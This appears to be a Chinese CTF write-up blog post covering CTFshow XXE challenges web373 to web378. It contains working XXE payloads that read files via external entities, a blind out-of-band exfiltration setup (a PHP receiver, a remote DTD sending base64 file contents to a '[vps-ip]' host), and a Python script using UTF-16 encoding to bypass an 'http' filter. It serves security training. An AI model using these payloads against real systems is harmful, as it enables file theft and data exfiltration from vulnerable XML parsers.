CTFSHOW-XXE

web373

libxml_disable_entity_loader  #禁用/启用加载外部实体的功能     参数为true时为禁用,参数为false为启用
file_get_contents('php://input')   #简单理解就是接受POST请求方式传的数据
loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD) #通过解析一个 XML 标签字符串来组成该文档
simplexml_import_dom   #把 DOM 节点转换为 SimpleXMLElement 对象

$creds->ctfshow 获取页面中的ctfhsow元素

这道题没有任何的过滤,直接构造payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE  xxe [
<!ENTITY xee SYSTEM "file:///flag">
]>
<aaa>
<ctfshow>
&xee;
</ctfshow>
</aaa>

web374

相比于上一题,发现无回显

没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据

在公网上上创建1.php,内容:

<?php 
file_put_contents("test.txt", $_GET['file']) ; 
?>

创建xxe.dtd文件:

<!ENTITY % dtd "<!ENTITY &#x25; xxe  SYSTEM 'http://[vps-ip]/1.php?file=%file;'> ">
%dtd;
%xxe;

payload:

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://[vps-ip]/xxe.dtd">
%aaa;
]>
<root>123</root>

得到

将test.txt得到的内容进行base64转码即可

web375

在上面的基础上过滤了xml,version=1或0

还是使用上一题的payload

web376

/i,过滤大小写,payload同上

web377

过滤了http

使用utf-16进行绕过

import requests
url = 'http://5cbbc523-7be1-47ce-900a-ff43444fc2e4.challenge.ctf.show/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://[vps-ip]/xxe.dtd">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)

web378

这道题是一个登录的界面

抓包看一下

发现是回显xml 形式,而且是回显 username的值

payload:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>123</password>
</user>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值